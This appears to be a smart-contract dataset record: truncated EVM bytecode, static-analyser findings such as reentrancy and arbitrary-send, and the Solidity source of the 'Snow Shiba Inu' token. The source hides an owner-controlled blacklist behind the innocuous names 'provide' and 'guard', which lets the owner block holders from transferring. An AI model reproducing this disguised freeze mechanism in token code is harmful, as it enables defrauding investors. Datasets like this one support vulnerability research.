6127e5565b92508282101561279c5761279b612841565b5b828203905092915050565b60006127b2826127c5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612807826127e5565b9050919050565b60005b8381101561282c578082015181840152602081019050612811565b8381111561283b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b612be9816127a7565b8114612bf457600080fd5b50565b612c00816127b9565b8114612c0b57600080fd5b50565b612c17816127e5565b8114612c2257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208318b0d25137372e4dbb582451a69f1e90370b3f1c7bc0ca8ffd25ce987ad94264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,271
0xe49e1f5cd057a8a46889e73d4ef4e391cac38f47
/* Snow Shiba Inu $SNOWINU https://t.me/SnowInuToken https://snow-inu.com/ () /\ //\\ << >> () \\// () ()._____ /\ \\ /\ _____.() \.--.\ //\\ //\\ //\\ /.--./ \\__\\/__\//__\//__\\/__// '--/\\--//\--//\--/\\--' \\\\///\\//\\\//// ()-= >>\\< <\\> >\\<< =-() ////\\\//\\///\\\\ .--\\/--\//--\//--\//--. //""/\\""//\""//\""//\""\\ /'--'/ \\// \\// \\// \'--'\ ()`"""` \/ // \/ `""""`() () //\\ () << >> \\// \/ () */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SnowInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private guard; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _addrForFee1; uint256 private _addrForFee2; address payable private _addrFee1; address payable private _addrFee2; string private constant _name = "Snow Shiba Inu"; string private constant _symbol = "SNOWINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _addrFee1 = payable(0xeeEEEEee32C5891a2dD3Bee147c3fFC24648F01E); _addrFee2 = payable(0xeeEEEEee32C5891a2dD3Bee147c3fFC24648F01E); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_addrFee1] = true; _isExcludedFromFee[_addrFee2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _addrForFee1 = 3; _addrForFee2 = 4; if (from != owner() && to != owner()) { require(!guard[from] && !guard[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _addrForFee1 = 2; _addrForFee2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _addrFee1.transfer(amount.div(2)); _addrFee2.transfer(amount.div(2)); } function provide(address[] memory _route) public onlyOwner { for (uint i = 0; i < _route.length; i++) { guard[_route[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function Provide(address path) public onlyOwner { guard[path] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _addrFee1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _addrFee1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _addrForFee1, _addrForFee2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a082311161009557806396943fe91161006457806396943fe91461031c578063a9059cbb14610345578063c3c8cd8014610382578063dd62ed3e14610399578063ff872602146103d657610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b806323b872dd116100d157806323b872dd146101ca578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306ca70a51461010e57806306fdde0314610137578063095ea7b31461016257806318160ddd1461019f57610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610135600480360381019061013091906121c3565b6103ed565b005b34801561014357600080fd5b5061014c61053d565b60405161015991906124a7565b60405180910390f35b34801561016e57600080fd5b5061018960048036038101906101849190612187565b61057a565b604051610196919061248c565b60405180910390f35b3480156101ab57600080fd5b506101b4610598565b6040516101c191906125e9565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec9190612138565b6105a8565b6040516101fe919061248c565b60405180910390f35b34801561021357600080fd5b5061021c610681565b604051610229919061265e565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612204565b61068a565b005b34801561026757600080fd5b5061027061073c565b005b34801561027e57600080fd5b50610299600480360381019061029491906120aa565b6107ae565b6040516102a691906125e9565b60405180910390f35b3480156102bb57600080fd5b506102c46107ff565b005b3480156102d257600080fd5b506102db610952565b6040516102e89190612471565b60405180910390f35b3480156102fd57600080fd5b5061030661097b565b60405161031391906124a7565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906120aa565b6109b8565b005b34801561035157600080fd5b5061036c60048036038101906103679190612187565b610aa8565b604051610379919061248c565b60405180910390f35b34801561038e57600080fd5b50610397610ac6565b005b3480156103a557600080fd5b506103c060048036038101906103bb91906120fc565b610b40565b6040516103cd91906125e9565b60405180910390f35b3480156103e257600080fd5b506103eb610bc7565b005b6103f5610c6e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610482576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047990612569565b60405180910390fd5b60005b8151811015610539576001600660008484815181106104cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610531906128ff565b915050610485565b5050565b60606040518060400160405280600e81526020017f536e6f7720536869626120496e75000000000000000000000000000000000000815250905090565b600061058e610587610c6e565b8484610c76565b6001905092915050565b6000678ac7230489e80000905090565b60006105b5848484610e41565b610676846105c1610c6e565b61067185604051806060016040528060288152602001612ca760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610627610c6e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114469092919063ffffffff16565b610c76565b600190509392505050565b60006009905090565b610692610c6e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690612569565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661077d610c6e565b73ffffffffffffffffffffffffffffffffffffffff161461079d57600080fd5b60004790506107ab816114aa565b50565b60006107f8600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115a5565b9050919050565b610807610c6e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088b90612569565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f534e4f57494e5500000000000000000000000000000000000000000000000000815250905090565b6109c0610c6e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4490612569565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610abc610ab5610c6e565b8484610e41565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b07610c6e565b73ffffffffffffffffffffffffffffffffffffffff1614610b2757600080fd5b6000610b32306107ae565b9050610b3d81611613565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bcf610c6e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390612569565b60405180910390fd5b683635c9adc5dea00000601081905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdd906125c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4d90612509565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e3491906125e9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea8906125a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f18906124c9565b60405180910390fd5b60008111610f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5b90612589565b60405180910390fd5b6003600a819055506004600b81905550610f7c610952565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610fea5750610fba610952565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561143657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156110935750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61109c57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111475750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561119d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156111b55750600f60179054906101000a900460ff165b15611265576010548111156111c957600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061121457600080fd5b601e42611221919061271f565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156113105750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113665750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561137c576002600a81905550600a600b819055505b6000611387306107ae565b9050600f60159054906101000a900460ff161580156113f45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561140c5750600f60169054906101000a900460ff165b156114345761141a81611613565b6000479050600081111561143257611431476114aa565b5b505b505b61144183838361190d565b505050565b600083831115829061148e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148591906124a7565b60405180910390fd5b506000838561149d9190612800565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6114fa60028461191d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611525573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61157660028461191d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156115a1573d6000803e3d6000fd5b5050565b60006008548211156115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e3906124e9565b60405180910390fd5b60006115f6611967565b905061160b818461191d90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611671577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561169f5781602001602082028036833780820191505090505b50905030816000815181106116dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561177f57600080fd5b505afa158015611793573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117b791906120d3565b816001815181106117f1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061185830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610c76565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118bc959493929190612604565b600060405180830381600087803b1580156118d657600080fd5b505af11580156118ea573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611918838383611992565b505050565b600061195f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b5d565b905092915050565b6000806000611974611bc0565b9150915061198b818361191d90919063ffffffff16565b9250505090565b6000806000806000806119a487611c1f565b955095509550955095509550611a0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ae381611d2f565b611aed8483611dec565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b4a91906125e9565b60405180910390a3505050505050505050565b60008083118290611ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9b91906124a7565b60405180910390fd5b5060008385611bb39190612775565b9050809150509392505050565b600080600060085490506000678ac7230489e800009050611bf4678ac7230489e8000060085461191d90919063ffffffff16565b821015611c1257600854678ac7230489e80000935093505050611c1b565b81819350935050505b9091565b6000806000806000806000806000611c3c8a600a54600b54611e26565b9250925092506000611c4c611967565b90506000806000611c5f8e878787611ebc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611cc983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611446565b905092915050565b6000808284611ce0919061271f565b905083811015611d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1c90612529565b60405180910390fd5b8091505092915050565b6000611d39611967565b90506000611d508284611f4590919063ffffffff16565b9050611da481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611e0182600854611c8790919063ffffffff16565b600881905550611e1c81600954611cd190919063ffffffff16565b6009819055505050565b600080600080611e526064611e44888a611f4590919063ffffffff16565b61191d90919063ffffffff16565b90506000611e7c6064611e6e888b611f4590919063ffffffff16565b61191d90919063ffffffff16565b90506000611ea582611e97858c611c8790919063ffffffff16565b611c8790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611ed58589611f4590919063ffffffff16565b90506000611eec8689611f4590919063ffffffff16565b90506000611f038789611f4590919063ffffffff16565b90506000611f2c82611f1e8587611c8790919063ffffffff16565b611c8790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611f585760009050611fba565b60008284611f6691906127a6565b9050828482611f759190612775565b14611fb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fac90612549565b60405180910390fd5b809150505b92915050565b6000611fd3611fce8461269e565b612679565b90508083825260208201905082856020860282011115611ff257600080fd5b60005b858110156120225781612008888261202c565b845260208401935060208301925050600181019050611ff5565b5050509392505050565b60008135905061203b81612c61565b92915050565b60008151905061205081612c61565b92915050565b600082601f83011261206757600080fd5b8135612077848260208601611fc0565b91505092915050565b60008135905061208f81612c78565b92915050565b6000813590506120a481612c8f565b92915050565b6000602082840312156120bc57600080fd5b60006120ca8482850161202c565b91505092915050565b6000602082840312156120e557600080fd5b60006120f384828501612041565b91505092915050565b6000806040838503121561210f57600080fd5b600061211d8582860161202c565b925050602061212e8582860161202c565b9150509250929050565b60008060006060848603121561214d57600080fd5b600061215b8682870161202c565b935050602061216c8682870161202c565b925050604061217d86828701612095565b9150509250925092565b6000806040838503121561219a57600080fd5b60006121a88582860161202c565b92505060206121b985828601612095565b9150509250929050565b6000602082840312156121d557600080fd5b600082013567ffffffffffffffff8111156121ef57600080fd5b6121fb84828501612056565b91505092915050565b60006020828403121561221657600080fd5b600061222484828501612080565b91505092915050565b60006122398383612245565b60208301905092915050565b61224e81612834565b82525050565b61225d81612834565b82525050565b600061226e826126da565b61227881856126fd565b9350612283836126ca565b8060005b838110156122b457815161229b888261222d565b97506122a6836126f0565b925050600181019050612287565b5085935050505092915050565b6122ca81612846565b82525050565b6122d981612889565b82525050565b60006122ea826126e5565b6122f4818561270e565b935061230481856020860161289b565b61230d816129d5565b840191505092915050565b600061232560238361270e565b9150612330826129e6565b604082019050919050565b6000612348602a8361270e565b915061235382612a35565b604082019050919050565b600061236b60228361270e565b915061237682612a84565b604082019050919050565b600061238e601b8361270e565b915061239982612ad3565b602082019050919050565b60006123b160218361270e565b91506123bc82612afc565b604082019050919050565b60006123d460208361270e565b91506123df82612b4b565b602082019050919050565b60006123f760298361270e565b915061240282612b74565b604082019050919050565b600061241a60258361270e565b915061242582612bc3565b604082019050919050565b600061243d60248361270e565b915061244882612c12565b604082019050919050565b61245c81612872565b82525050565b61246b8161287c565b82525050565b60006020820190506124866000830184612254565b92915050565b60006020820190506124a160008301846122c1565b92915050565b600060208201905081810360008301526124c181846122df565b905092915050565b600060208201905081810360008301526124e281612318565b9050919050565b600060208201905081810360008301526125028161233b565b9050919050565b600060208201905081810360008301526125228161235e565b9050919050565b6000602082019050818103600083015261254281612381565b9050919050565b60006020820190508181036000830152612562816123a4565b9050919050565b60006020820190508181036000830152612582816123c7565b9050919050565b600060208201905081810360008301526125a2816123ea565b9050919050565b600060208201905081810360008301526125c28161240d565b9050919050565b600060208201905081810360008301526125e281612430565b9050919050565b60006020820190506125fe6000830184612453565b92915050565b600060a0820190506126196000830188612453565b61262660208301876122d0565b81810360408301526126388186612263565b90506126476060830185612254565b6126546080830184612453565b9695505050505050565b60006020820190506126736000830184612462565b92915050565b6000612683612694565b905061268f82826128ce565b919050565b6000604051905090565b600067ffffffffffffffff8211156126b9576126b86129a6565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061272a82612872565b915061273583612872565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561276a5761